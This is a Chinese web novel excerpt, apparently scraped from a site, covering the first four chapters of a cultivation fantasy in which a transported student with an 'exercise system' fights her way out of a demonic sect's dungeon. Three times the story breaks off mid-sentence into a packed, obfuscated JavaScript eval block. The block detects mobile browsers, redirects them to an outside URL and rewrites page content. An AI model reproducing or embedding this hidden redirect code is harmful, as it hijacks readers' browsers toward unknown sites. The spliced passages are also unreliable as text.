《带着运动系统去修仙》 1. 逃杀 “那位的意思是,这些人都杀了吗?” “是。”男人转身离开地牢,“除了……你知道的那个人。” 几个不显眼的黑衣人进入地牢。一个被囚禁的女修昏沉地靠着墙小憩,直到发现身旁的男子散出古怪的气味,才发现他已经死了很久了。 她还未说出那句“杀人啦”,自己的脖颈已缓缓裂开,像一柄悄无声息的刀锋似的阻断了她的行动。 * 崔羽落睁开眼,视野中却是浓郁的黑。血腥味充斥鼻腔,耳畔传来金属撞击的声音。 她眨了眨眼,视野中的墨色渐渐变浅。她正趴在地上,手触及到一片黏腻的液体,身边躺了几个不认识的人。 液体是血,人则是死人。 地牢中刀剑乱舞,人影混乱。 她于角落里坐起身,拾起一边掉落的刀作为防身武器,随后大致检查了一下这具身体。没有明显伤口,只是沾了些不属于自己的血。除此之外,肌肤健康,身形修长,很像她原本的身体。 崔羽落抖抖袖口,看到手腕上熟悉的痣,扯动嘴角,无声地笑了笑。 ——一分钟前她在校园骑自行车被撞飞,还没死透就身穿了。 身穿的好处是这身体她很熟悉,坏处则是在这看起来群魔乱舞的世界她只有一副凡人之躯。 她抬了抬脚,轻轻跳了两下,又小幅度地挥了挥手中刀,无事发生。她还是她,没有觉醒什么金手指。 有人注意到她,身形一晃而至,锐利剑锋裹挟着风声,不由分说地落向她脖颈。电光石火间她眼前剑芒一闪,下意识地提刀格挡,脑海中却不合时宜地出现了一个声音。 【宿主你好——】 “铮”的一声,刀剑相击,她被那力道逼退几步,手腕又痛又麻,险些拿不住刀。 “我不好!别说话,有人在砍我!”还未站稳,第二道剑势已至,她迎着攻势,矮身翻滚向前,堪堪与那剑错身而过。随后她拔腿提速,奋力逃跑,力求多活一会儿。 身后脚步声不见了,大概是那人去砍别人了。她余光瞥见地牢中血肉横飞,刀光剑影,场面混乱至极,只觉浑身血液上涌,头皮发麻,唯有两条腿仍机械而执着地向前跑。 ——说不定能出去呢? 她渐渐减速停下,不是因为发现这里已经没有人了,也不是因为她体力不支,而是她发现自己似是到了地牢尽头。 除了她来时的路,其他三面均被高墙围绕。周围没有站着的人,此地看上去居然算得上“安全”。墙下则有个一动不动伏在地上的身影,那是个趴在地上的人。那人察觉到她这不速之客,并未有什么反应,仍半死不活地趴在地上,也不知是伤得太重还是懒得搭理,或者是其实这人已经死了。 崔羽落看了看那人,双手扶膝,弯腰喘气,心想:千不该万不该,不该骑车刷校园跑。自己一个拐弯被飙车的司机撞飞不成,还穿到了这么个鬼地方。 【宿主你好,你已绑定运动系统,接下来描述你的任务:】 她感受着喉咙处的血腥气,有点想笑,但正忙着把气息喘匀的身体一点也笑不出来。 【你需要完成每日运动以维持生命值,生命值高于60,你可以进行正常活动,生命值低于60则会根据具体情况丧失部分行为能力。】 【生命值低于20时会进入休眠状态,若无外界措施,处于休眠状态之后生命值会逐渐降低,低于5时判定为死亡。】 【检测到宿主当前生命值为70,状态良好,继续努力。】 “每日运动?” 【运动行为可以增加活力值,每日需至少获得100点活力值以保持生命值不降低,第二天活力值清零。】 【检测到宿主当前活力值为30,还未达标,再接再厉。】 “你是谁?”身后响起一个女子的声音,不待崔羽落转身,疾风乍起,光影浮动,一道符咒便要落在她身上。 暗暗吐槽一句“怎么又来”,她发觉那符咒太快,提刀去挡眼见来不及,从那墙角却忽而闪过一道不显眼的浮光,迎上了那符咒的力道。两道符咒对冲,一方汹涌如潮,另一方轻盈如风。 那来自墙角的力道在与另一方触及的一刻轰然溃败,术法不可阻挡地击中崔羽落。 她在那符咒作用下浑身力量瞬间散去,失去了支撑的躯壳无力地倒在地上。 那女子缓缓向前走去,越过了她,直走向那墙角的人。那人咳了两声,似是法术被断,伤势更重。 听着女子的脚步声,崔羽落发现四肢渐渐有了力量,但她看着那女子,并未行动。 那女子看起来对她并不友好,但大概也不想取她的性命。而墙角半死不活的那个人应该伤得很重,不知道什么原因被关在这里。 至于她自己,在这里待着也不是不行,但眼下的情况还是不太适合继续待下去了。 她得先活着,再想办法逃出去。 “系统,我有没有什么金手指之类的东西啊?” 【有的宿主,有的。你在获得每日的基础活力值后,继续运动可以提升修为。】 “修为?” 【具体来说,会短期地提升你的抗性和血量。虽然增益为短期增益,但只要宿主坚持运动,短期增益也可以转化为固定增益。】 “那……有没有现在可以马上起效果的增益呢?” …… 那女子在墙下走了一圈之后回到崔羽落身边,伸手探了探她的脉,只见此人并无特别之处,体内灵力几乎没有。 她自言自语道:“看上去像个凡人,但魔宗地牢里怎么会有个凡人呢?这其中大概有蹊跷,还是得小心一点。” 随后她双手捏诀,准备先让这人毫无知觉地睡几天,却发现自己的袍袖被人扯了扯,地上少女略微侧过头,有些虚弱地叫道:“姐姐。” 少女看上去十八岁上下,面色有些苍白,柔软的碎发落在窄窄的脸侧。她轻抿着唇,有些害怕的样子。 女子心一软,犹豫了一会儿,手中咒诀迟迟不放。 “姐姐,我方才受了伤,你能扶一下我吗?” 见她仍在犹豫,崔羽落挣扎着坐起身。却见那女子神色一凛,手掌一翻,口中念了句“清醒一点”,一道咒诀便自手中飞向崔羽落。 顷刻之间,身影移动,咒术落空。与此同时一记手刀落在女子脖颈,她失去意识跌落在地。 【宿主消耗生命值,短期提升攻击力和防御力。交易成功,当前生命值为60,增益效果持续时间剩余一刻钟。】 脑海中话音刚落,身后疾风划过,显然是有人趁机偷袭。 一波未平一波又起。崔羽落却并不闪避,只是静静地站着,无鞘的刀垂在身侧,背后长发已被剑风惊动,轻轻地扬起。而攻击者急速迫近,染血剑尖一马当先,已距她不足一尺。 半尺、三寸、两寸—— 在剑尖堪堪碰到她背后衣衫的时候,她忽然转身发力,抬手出拳。 袭击之人只感受到一股大力轰然落在自己胸口,随后向后飞出数丈,灰头土脸地落在地上。他吐出一口血,捂住自己的心口,数着肋骨断了几根。 “抱歉,”崔羽落揉了揉手腕,淡淡道。 她缓缓走近那袭击者,素白修长的手中提着一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我明白你的意思,”少年顿了顿,“可惜我现在灵脉已毁,法力微弱,不能帮到你。如果你信我,或许我们可以一起试试,在这里搭起通往外面的传送阵。” “如果我信你?”崔羽落从上到下打量着他,“可是我对你分明完全不了解,又拿什么去信你呢?” 谁知道这人是不是有什么坏心眼。增益时间大概快结束了,到时候她只是一介凡人之躯,再要反杀恐怕会很困难。 “如果我说……”少年垂着眼,“算了,这还不足以让你信我。” 他看着崔羽落手中的刀:“如果我图谋不轨,你就用它杀了我。” 崔羽落无声一笑。 “杀了你?你没有和其他人关在一起,而是被单独关在这里。里面正在进行屠杀,你却不被波及。看血迹,你受伤大概不是很久,却恢复得不错,可见有人在给你治疗。”她听到身后那女子起身的声音,继续说,“所以关着你的人并不想让你死。既然如此,我要是杀了你,怕是马上会被追杀,下场凄惨吧?” 她转头看着那女子走向自己这边,却听到少年很轻很轻地说了一句话。 “如果我说,我知道你是谁呢?” 眼前黑衣墨发的少女微微侧过脸,精巧的鼻梁在脸上投下阴影。 “哦。” * 地牢中刽子手手起刀落,却被一拳打飞数丈。 劫后余生的女修睁开眼,看到一少女提刀而立,身形修长,神色冷峻。 “想出去的跟我走!” 2. 生死 崔羽落看着众人一个一个地进入法阵,一旁女子盘膝而坐,法力自指间流泻而出。 直到最后一个人走了出去,崔羽落拉起那女子,看向席地而坐一动不动的少年:“你不出去吗?” 少年摇摇头:“你也说了,他们并不会杀了我。” 女子拉了她一把:“法阵快消失了,快。” 二人向前一步,片刻后华光流转,她们并肩出现在一个陌生的地方。深色天幕上圆月高悬,映出周围重获自由的年轻男女以及随风摇动的青葱草木。 崔羽落环视周围,左手紧扣着刀把,扬声道:“魔宗的人很快就会发现我们跑出去了。此地不宜久留,各位还是尽快找个安全的地方待着吧,有缘江湖再见。” 周围人道了谢,纷纷离开。万叶千声中,只留下崔羽落和那女子。 女子看着崔羽落长呼一口气,看上去很是迷茫的样子,全然不似方才的果断,问道:“你刚才为什么要救他们,你就不怕他们之中有穷凶极恶丧心病狂之人,出了地牢又去祸害他人么?” “我不知道。”崔羽落垂着眸,语气很轻,像是很疲惫。 “啊,”女子看着她,语气柔了下去,“我就是有些好奇,没有质问或者责怪的意思。我先前听说,魔宗时常抓一些少女少男,来吸收他们的精气去修炼邪功,方才地牢里的那么多人,看上去都年纪轻轻,大概就是要被用于练功了。你若是不放他们出去,我也会这样做的。” 整了整衣裙,她好奇道:“你是哪个宗门的弟子吗?” “我不是。你呢?” “我么,”女子笑了笑,眉眼弯弯,“现在不是,不过以后大概是的。过段时间我想去如今的天下第一大派玄昭门,参加一下他们的入门试炼,你要不要一起啊?” 崔羽落心想自己反正也没有身份,做宗门弟子包吃包住,人身安全也有保障,算是个不错的去处,便答道:“可以呀。不过……方才你不是会法术么?” “这个啊。几年前我到处流浪,遇到个人,要当我师傅,然后就教了我一些法术什么的。不过后来她突然跑了,留下一封信让我坚持除魔卫道,再去找个正经宗门好好修炼。” “那你也是被魔宗抓到了,然后被关进地牢的吗?” “是也不是。”二人一起往前走着,“其实我是故意被抓进去的,因为我要除魔卫道嘛,那不得看看那些所谓的‘魔’到底是什么样子。要是顺便能救几个被魔宗害了的人,就更好了。” 崔羽落愣了一下,想说句称赞的话,几句话轮番到了嘴边,最后留下一句:“姐姐真是侠义心肠。” 她有些懊恼自己的嘴笨,却见那女子哈哈地笑了笑,很是受用的样子。 “那我们先去附近的镇子上吃点东西,在地牢里待了这么多天,真是饿死我了。”女子从怀里拿出一柄木梳,梳了梳胸前有些凌乱的长发,“对了,我还不知道你的名字呢,不知妹妹可愿告诉我?” “当然可——” 身后忽然感受到一阵凉意,令人毛骨悚然。一个低沉的声音从远处传来:“追。” “这么快!不会是前面那个人把我们卖了吧!”女子拉了一把崔羽落,“快跑!” “那边!前面那些人去左边,我们走另一边!” 二人拔足狂奔了不知多久,崔羽落感到身体各处的神经正在叫嚣,但听着身后的脚步声,又丝毫不敢松懈。 她暗暗吐槽:在学校天天累死累活地校园跑,偶尔投机倒把一下却直接穿越了,穿越就穿越,可为什么穿进来还要跑步! ——而且有着威胁到生命的速度要求。 她听着自己和身边人越来越急促的呼吸声,一边拼命迈动双腿,一边观察周围情况以见缝插针地来个急转弯迷惑身后之人。 她发觉双腿已经开始有些发软了,却不合时宜地走了神。 ——要是体测的时候也有妖魔鬼怪在后面追着,那大家的成绩怕是都会高得离谱。 【宿主你好,恭喜你今日的活力值已达标,请再接再厉,继续保持良好状态。】 “……” 二人又跑了许久,渐渐地,脚下的土路变成了石砖铺成的规整道路,两侧的田园风光也变成了一片漆黑诡异的丛林。 身后的脚步声不见了,但前方的路也不见了,取而代之的是张牙舞爪奇形怪状的树枝。 崔羽落从腰后解下刀,准备强行开路。身边女子却声音沙哑地说了句“我来”,便使了一道法咒,凭空腾起火焰,漫向眼前的枯木。 火苗在夜色中逐渐扩大,崔羽落看着火焰,忽然道:“不对。” 火焰虽逐渐变大,但那奇怪树枝却在灼烧中毫发无损。 她的心跳得极快,连带着呼吸都带了几分凌乱。 她回头看向来时路,发现来路已被那怪异枯树封死。此刻二人被这古怪的树枝包围,无路可退亦无路可走。但更糟糕的是那树枝正在缓慢地向中心延展,索命的魔爪似的探向二人。 崔羽落挥刀劈向离二人最近的树枝,却被重重弹开,如同劈在了铜墙铁壁上。 一个声音从远处响起:“倒真是顽强。” 随后二人眼前景象骤变,怪树顷刻间无影无踪,取而代之的是与魔宗地牢相似的场地,周遭声音嘈杂,漫着浓烈的血腥味。 女子环视周围的众人,脱力般地跌坐在地:“好像……有些麻烦。” 崔羽落同样瘫坐地上:“你知道这是什么地方吗?” “我知道,”女子压低声音道,“先前那个地牢里关着的是魔宗抓去用于吸收精气修炼邪功的人,这个则是他们用来选拔弟子的修罗场。” 崔羽落想了想,疑惑道:“意思是说,一堆人在这里互相打架,活到最后的就能成他们的魔修?看样子这里的人大概已经经过挑选了,那死掉的那些人会不会有些浪费?” “浪费?” “这些人的体质应该比那个地牢里的好得多,既然如此,若是能用这些人修炼,岂不是效果更好?若是这样白白死了,那不就是浪费了这些体质良好的人?” 这回轮到那女子愣住了:“呃……我觉得你说的很有道理。不过,外面的人只知道修罗场除胜出者以外都死了,但并不知道是怎么死的,会不会其实有很多人并没有直接被杀死,而只是受了重伤呢?真正夺了他们命的,是魔宗吸走他们精气去练邪功。” “会不会魔宗有什么办法能让受了重伤的人并不马上死去,而是想办法先吸走他们的精气,再让他们死掉……” 有一个沉沉的声音忽然响起,压下了所有的声音—— “你们一百人中,只能有一个人站到最后。” “其他人都会被杀死。” “杀了其他人,活到最后。” 地牢中忽而鸦雀无声,众人不约而同地怔住,暗自揣摩着那三句话。 忽然有一人拔/出手中剑,扎进身旁方才与他说话之人的胸口。随后,如同一石激起千层浪,更多人拔/出了手中兵器,刺向周围人。一时金属碰撞声和叫喊声此起彼伏,越来越多的人带着一身狰狞伤口倒在地上,地上干涸的血迹被新的血液覆盖。 女子从袖中拔/出匕首,崔羽落手握长刀,击落掷向她的短剑。 她先前一路狂奔,已然体力不支,在混乱战局中,作为战斗小白的她左支右绌,全力格挡住一柄大刀后,凭直觉侧步躲避了一把长剑的攻击,却因为脚步不够灵活,那剑锋自她左肩划下,伤口横亘至后背中部。 崔羽落顿觉自己全力聚起的力量飞快地自那伤口向外流失,被血浸透的衣衫粘在她的后背上,仿佛重逾千钧,压得她喘不过气。 “哐当”一声,手中刀落了地。 她脸色惨白地跪坐在地,登时又有一人乘胜追击,一剑刺向她心口。她眼前发黑,失神地想:我要死了。 那剑却没有将她贯/穿。 周遭光华流转,以她和刚刚赶来的女子为中心腾起结界。她抬眼看向那女子,只见她单手捏诀升起结界,另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419910|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只手伸向她。 她握住那只手,发现自那只手上,一股纯净的灵力汇入她的四肢百骸。周身的疼痛感奇妙地淡了下去,流失的力量重回体内,在浑身经络中潺潺流动。 用另一只手提起刀,崔羽落借力站起,却听见清脆的“咔咔”几声后,那结界碎裂开来,刀刃与杀机挤了进来。有人力竭倒下,有人浴血挥刀纵剑,崔羽落将刀刃划成弧线,格下几柄刺向她们的利刃。 身旁女子将手中匕首刺入面前之人的脖颈,鲜血喷涌而出,染上她苍白的脸。 崔羽落只作防守,并不进攻。但被她拦下的刀剑还会再次刺向她,被她击退的人还会再次尝试索她的命。 杀人这个词,对她来说太过遥远,也太过残忍。 她不想杀人,她只是想活下去。可是—— 又有一把重剑劈向她,她侧身堪堪躲过,下一招已然落下。发酸的腿仿佛不属于她自己,她只得提刀格挡,却被那强悍力道重重击退。 后背撞在石壁,粗糙尖锐的石头割着她还未愈合的伤口,剧烈的痛楚使她意识模糊,她只觉得自己身在幻境,一点都不真实。 ——可是她的力量会衰竭,她的刀会卷刃,她的血也会流干。其他人只要不死,就如百足之虫死而不僵,能一直用手中利刃挥击向她。 她不可能永远拦下那些攻击。 又一把刀劈砍向她,她屈膝侧身,左手成拳攻向那人小腹,那攻击者却好似浑然不觉,只是义无反顾地将弯刀斫向崔羽落的脑袋。 崔羽落忽而挥刀,同时提膝侧踹。那攻击者踉跄倒地,鲜血汩汩地自颈间血管涌出。 周遭群魔乱舞,她一次次地闪避,一次次地挥刀,于利刃的缝隙里送出自己的朴拙刀锋。 恍惚间,她听见了一个熟悉的声音。 是那女子。 她神色一凛,硬生生劈开一条路,到了那女子身边。 这回换了她伸手向地上的女子。但没有人抓住它。 女子一身血,分不清哪些是别人的,哪些是自己的。 崔羽落跪坐在她身边,握着她冰凉的手。 “我就是……睡一会儿。等我醒了……我们一起出去,去个大宗门,去……行侠仗义……” 她微微开合的嘴静默了。 崔羽落呆呆地坐在寂静中,好似过了很久很久。 那寂静中渐渐生出一点其它声音,她猛然扭身,将刀锋刺进身后偷袭者的腰间。 不知过了多久,她身上也沾满了血,刀锋数不清第几次地划开旁人的身躯。她再次双手握刀向前突刺,刀锋没入敌人腰腹,但这次她已无力拔出那把刀。 她握着刀把,被倒地的敌人带着下坠。 视野发黑,耳畔却异常安静,她仿佛再也听不到任何声音。直到一把剑刺入她腰间,冰凉的金属刺激着温热的肉/体,使她的意识略微清明,但她已无力作出任何反击了。 剑锋自身躯拔/出时,她无力地跌落在地,仅存的意识随血液流逝。在一片寂静的黑暗中,她枯槁苍白,如千疮百孔的孤魂野鬼。 她在混沌中不知待了多久,久到以为自己被阎王忽略了。这时,周遭却蓦地光亮起来,她被不知什么东西从地狱拉回人间,一个声音自她刚刚复苏的脑海中响起。 【子时到,活力值清零。】 【恭喜宿主,前一日活力值达1000点,超出标准值的部分即将转化为今日增益。】 * 黑袍男子缓步走入血海,目视着眼前唯一站立的青年男子,勾唇一笑。 “恭喜你,站到了最后。” 青年男子扶着长剑,哑声道:“多谢——” 自另一个方向,忽然传来一个少女的声音。 “还没有结束。” 黑袍男子与青年循声望去,却只看到了一片一动不动的躯体。 渐渐地,有一片堆叠的躯体动了动,一个少女缓缓从中爬起,手提长刀,浑身染血,眼神却坚硬如铁。 3. 嫁衣 崔羽落提刀缓步而行,走到那同样浑身染血的青年面前。她停下脚步,微侧过身,双手握刀,缓缓抬起。 刀身沾满了血,刀锋却亮如寒霜。 青年面无表情地看着她,半晌,他忽然提剑突刺向前,像伺机而动的兽。 崔羽落抬刀与剑相击,力道相撞,二人同时退了半步,随后青年再次向前,以崭新的力量灌入还未卸下的剑势,长剑以与刚才一模一样的姿态攻向崔羽落。 崔羽落横刀格挡,那剑锋却顷刻回转,以一个极其刁钻的角度斜刺向她。 系统的增益使她的反应和动作快了数倍,她目光沉静,身形一晃,与斜刺的剑锋擦肩而过,手中刀径自往前,直劈向那青年的颈侧。 青年显然是个战斗老手,他手中剑行云流水般地黏上崔羽落的刀势,霎时,刀光剑影如狂风骤雨,金属相交时爆裂出炫目的光影。 十几个回合下来,青年从容不迫,剑锋如水,无处不在且绵绵不绝;崔羽落见招拆招,刀势如风,灵动迅疾但力道刚烈。 青年一套剑招行将结束,剑势却悄然变了。先前柔韧绵长的剑招渐显凌厉诡谲,如同积水成渊,自深不见底的洪渊内骤然腾起铺天盖地的灭世之洪。先前酝酿的剑势在此刻凝为一股汹涌磅礴的力量,劈头盖脸地顺着一道道凛冽剑气降落。 崔羽落在猛烈攻势下勉强防御,但那力道过于强悍,迫使她后退数步,眼见就要退到墙边,再无路可退。 就在此时,她后退的脚步落在地上还未干涸的黏腻血迹之上。她只觉蓦地一滑,足下不稳,身子一歪,即将跌落在地。而眼前剑光一闪,她于电光石火间,在“保持平衡不摔倒”和“连滚带爬地挡剑”之中做了抉择。 “当”的一声,她挡下眼前气势逼人的剑。但与此同时,她下盘失了平衡。即将跌倒在地的时候,她伸手在地上一撑,核心收紧,借势向前。一个潇洒的侧翻后,她稳稳落地。 脊背却忽然感到冰冷,她侧眼,青年无声地站在她身后,手中剑正指着她的后心。 避无可避,灌满了内力的剑向前,即将没入她的背脊。 但预想中的疼痛却没有到来。 在剑锋触及她身躯的那一刻,自她四肢百骸中,一股强大灵力悄然凝聚,而后自行地流向外界。它们并未离开,而是在她的躯壳与外界之间,形成一道坚不可摧的盾,将她整个人包裹其中。 剑气在触及盾的一刻,如同撞在铜墙铁壁之上。青年只觉一股汹涌力道自手中剑轰然袭向自己,身躯不受控制地向后飞出。他面露惊诧,但片刻后调整姿态,聚集剑势便攻向同样惊诧的崔羽落。 崔羽落心道:原以为增益是增加攻击力,现在看来,增益原来是护盾效果。 她余光瞥见青年已挺剑向自己突刺而来,却并未行动。 等待下一次护盾效果时,她转念想:万一下一次不生效了呢,那我岂不是要被一剑贯心? 青年不顾一切地攻向崔羽落,但他心知这只是幌子。真正的剑意不在剑上,而在虚空。无形无色,无处不在,只待崔羽落全力防御那看似锋锐的剑招,其余的空门便会被他无形的“剑气”趁虚而入。 他看着那少女缓缓抬手,作格挡之势。下一刻无形有质的剑气骤然凝固,从无数个角度侵袭向对方。 但他再次失败了,剑气被一股坚如磐石的力量击落。他却忽然长剑一振,将四散的剑气再次凝聚,合力一处,直指向前。 眼前少女却微微一笑,伸出一只沾血的手。 灵力大盛,时间在他眼中忽而变得缓慢,而在被拉长的瞬间里,那只手迅速成拳,朴实无华地直击他的胸口。 千钧力道自他胸口炸开,他转眼失去了意识。 一直站在暗处的黑袍男子拍了拍手:“很好。” 一群身穿黑衣的人如鬼魅般流进地牢,有序地分散至各处站定。黑袍男子行至中央,抬手时暗色光芒流转,沿着那些黑衣人站立的位置渐渐升起与他手中相似的暗芒,诡异地流动起来。 看着自那些倒地之人升起了红色光影,像是响应某种召唤,渐渐汇入那缓慢流动着的暗流,崔羽落心中渐渐有了猜测。 果然是要将这些人的精气全都吸食殆尽,再伪造出互相厮杀至死的假象。 她注视着那血色流淌的轨迹,发现它们先自支流汇入几个枢纽,再自那些枢纽汇入阵法中央。 而那黑袍男子正站在阵法中央。 几个“枢纽”的位置则站着几个黑衣人,他们双手结印,全力维持着阵法的稳定。 黑袍男子闭目享受着力量汇入自己灵脉的过程,却忽然察觉到了一点怪异。像是那汇来的灵气沾染了一些浑浊的妖邪之气。 他冷哼一声,心想:从所谓名门正派抓来的人中,居然有如此浓重的妖邪之气。 所幸他自己修的并非排斥妖邪的正道,因此他只是皱了皱眉,便继续享受着吸食灵气的过程。 但下一刻,他发现阵法似乎乱了,原本缓缓流动的灵气变得杂乱无章,使他的灵脉感到了些许不适。 他睁开眼,发现阵法的几个关键点位上,原本站立的人已神志不清地倒地,但其他位置的黑衣人在阵法作用下,仍然无知无觉地结印,如同傀儡。 他指间泛起暗色光芒,口中喝道:“停。” 周遭黑衣人恢复神智,而他注视着眼前提刀的少女,后退一步:“杀了她。” 十几把佩剑出鞘,井然有序地攻向崔羽落。 崔羽落只有一把刀,显然不能同时挡下这么多直取她性命的剑。 但她不动如山。 十几道剑锋刺向她,却骤然被一股力道弹开。 黑衣人没有因此而惊慌,而是训练有素地再次酝酿起攻势。 剑影缭乱,十几道迅疾的黑影如鬼魅。而崔羽落站立其中,不作防御,只是自剑锋的缝隙里出刀。剑锋落在她的身体上,就像落在了坚实铠甲上,而她毫发无损。 崔羽落被一掌击中胸口,只是微微退了一步,随后借力旋身,刀锋轻盈划过黑衣人咽喉。 十几个黑衣人已渐次倒下,她咽下一口上涌的血水,注视着黑袍男子。 “你已是强弩之末。”他声音低沉,“你伤我属下,我本该立刻取你性命。但你天赋异禀,又让我生了些惜才之心。” 崔羽落眼前发黑,但强撑着身躯,仍腰背挺直,目光冷漠。 “做我的徒弟,与我一起,开启一个新的时代。” 远处传来灵力流动的微波,同时有多人的脚步声传来。声音离二人越来越近,在死气沉沉的地牢中回响。 崔羽落听着远处的动静,扯了扯嘴角:“是么?可是我们好像没有那个缘分了。” “这里设了机关和结界,你以为有人会来救你吗?我告诉你,那都是徒劳。” 暗暗吐槽了一句“果然反派总是自以为是”,她轻声道:“你说是就是吧。” 距离二人数丈处光芒大盛,传送阵光芒流转,身着长袍之人从中鱼贯而出。 为首的一名女修手持长剑,英姿飒爽,目光落到黑袍男子身上,身形一动,剑光直指黑袍男子。 那黑袍男子眼眸一沉,转身遁入黑暗。长剑穿透黑影,原地只留下了一缕血色。 崔羽落终于支撑不住,跌落下去。 但她没有摔在地上,而是被一个人接住了。 眼前人的轮廓一闪而过,她眼前一黑,彻底失去了意识。 * 再次醒来时,她躺在床上,苦涩的药味扑进鼻腔,让人有些晕眩。 周遭没有别人,她坐起身,却见先前那名女修走入房间。 “好些了吗?” 崔羽落点点头,感觉嗓内不畅,咳了两声:“这是在哪里?” 女修目光柔和:“安全的地方。” “那……地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419911|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢里的其他人呢?” “都已经被安置好了。” “……多谢。” “有什么谢的,”女修笑了两声,“你方才表现得很好,如果你愿意,可以参加三个月后玄昭门的入学试炼。” 崔羽落觉得自己大概是还没恢复好,脑子转不过弯:“……啊?” 女修从袖中取出一件物品,递了过来:“这是参加试炼需要的通行令牌,你保管好此物,便可直接参加试炼了。” 崔羽落接过令牌,觉得脑海中问题一箩筐,挑不出先后,口中却道:“喔。” 女修笑了笑:“我姓叶,门中还有事,先就此别过了,三个月后见。” 崔羽落看着那女子潇洒离开的背影,尝试思考。但不待她思考,一个男子脚步轻快地停在门口,敲了几下门。 “姑娘,醒了吗?” 她只得应道:“醒了。” 男子进了门,坐在离她不远处。他身着蓝色窄袖长袍,面容年轻,眉眼间却挂满了欣喜的神色。 崔羽落不知道他为什么如此高兴,坐在床上等他先开口。 “姑娘,不知可否一问,你是何门何派,何方人士?” 崔羽落实话实说:“没有门派,无业游民。” “那敢问姑娘家住何处?” 她摇了摇头,声音有些低沉:“我没有家。” “啊……是我冒昧了。” “没事。” “那姑娘接下来有何打算呢?” “……没有打算。” 男子听到回答,从袖中拿出一张纸,走过来递到崔羽落手中:“姑娘,你看看这上面的内容。” 崔羽落看到上面写的,无非是每月有多少灵石,以及提供几次灵池使用次数之类,她看不太懂,正准备问那男子,却看到了靠下的一行。 “每月五两银。” ——这是在和她谈薪吗? “姑娘可否满意?” 崔羽落不太理解:“那我的工作内容是什么呢?” 男子略微一顿,说道:“是这样,我家公子前段时间伤了身子——” 下面的话她没有听到,因为脑海中系统的声音不合时宜地出现了。 【宿主你好,当前活力值为0,前一天多出的活力值已转化为生命值,当前生命值为100。】 【温馨提示,距离下一日还有三个时辰,当前活力值过低,请宿主注意。】 “——姑娘身手矫健,正是我们需要的。” 男子目光灼灼地看着崔羽落。 崔羽落问道:“意思是说,你家公子是个脆皮法师,需要一个我这样能扛能打的人和他组队,去打怪升级?” 男子愣了愣:“大概是的。” 崔羽落看了一眼那张纸:“好,我答应你。” 男子走出房间:“那姑娘准备一下,等一会儿会送新的衣服进来。” 崔羽落见房门关上,迅速卷腹起身。 【恭喜宿主,当前活力值为1。】 她穿鞋起身,站立不动,尝试以上半身做出跑步状。 心想:微信运动可以这样获得步数,但愿这里也可以。 系统毫无反应。 她只得拖着腰来腿不来的身子,在房间里来回快步走。 所幸房间不小,她不用频繁地转弯。 大概是因为先前受了伤且劳累过度,不一会儿她已是大汗淋漓。 她坐在床边,用袖口擦着汗。 【当前活力值为40,距离下一日还有两个时辰,宿主再接再厉。】 她长叹一声后起身,门却被人推开了。 “我们来帮姑娘更衣。” 崔羽落看着进门的两个女子,心中想着“换个衣服有什么需要帮忙的”,目光落在了托盘的衣服上。 她瞪大眼睛,说不出一句话。 ——那是一身嫁衣。 4. 双修 “这……不对吧?” 侍女端着托盘,不解道:“姑娘,此话怎讲?” “这衣服可是给我穿的?” “回姑娘,是的。” “但是为什么是这身衣服呢?” 侍女又疑惑道:“姑娘,你马上就要和公子成婚啦,再不换衣服,都要错过良辰吉时了。” * 两名侍女退了出去,带上了门。 先前的男子坐在桌前,和崔羽落面面相觑。 见崔羽落沉默不语,他有些尴尬地笑道:“姑娘,先前我说的那些话,你有什么疑问吗?” “我想我们之间大概是有什么误解,”崔羽落有些焦急,“唉,怪我方才急着……没有问清楚。” 见她有些懊恼的样子,男子挠了挠头:“没有没有,我方才也没有说明白。是这样的,我家公子确实是前些日子受了重伤,然后我们也确实需要一位如您一般健康茁壮的姑娘。” “你家公子受了重伤,为什么要找个姑娘成婚?就算是为了方便照顾他,也大可找一些其他人。” 男子咳了两声,嘴里嘟囔了几声“都没给我交代清楚”之类的话,长舒一口气道:“这个……主要是因为情况比较特殊,找些寻常的下人去服侍的话不太合适。” “不太合适?” “姑娘可曾听过——”男子顿了顿,似是有些难以启齿。 崔羽落没等来下文,追问道:“什么?” 男子压低声音,吐出二字。 “双修。” 心中在“时间不多了,今天活力值不达标又得扣除生命值”和“现在生命值很高,要不就让它扣一点生命值吧”之间摇摆的崔羽落听到“双修”二字,只觉大脑白了白,先前考虑的内容顷刻如受惊的鸭子般飞得不见踪迹。 她盯了门板片刻,缓缓道:“没听过。” 那男子却耳根有些红:“嗯……修炼之术分很多种,有一人便可完成的,也有多人方可完成的。而双修,顾名思义,则是需要两人一同完成的。” 崔羽落听着他的解释,默默在脑海中抓回了飞走的鸭子,觉得扣除一些生命值也没什么大不了。 “哎呀,”男子忽而拍了拍手,“就是两个人一起练功嘛!有什么复杂的!都怪那些写话本的人,总是把双修描述得那么难以启齿。” “那为什么这个双修之人,得是一个身体健壮之人呢?” 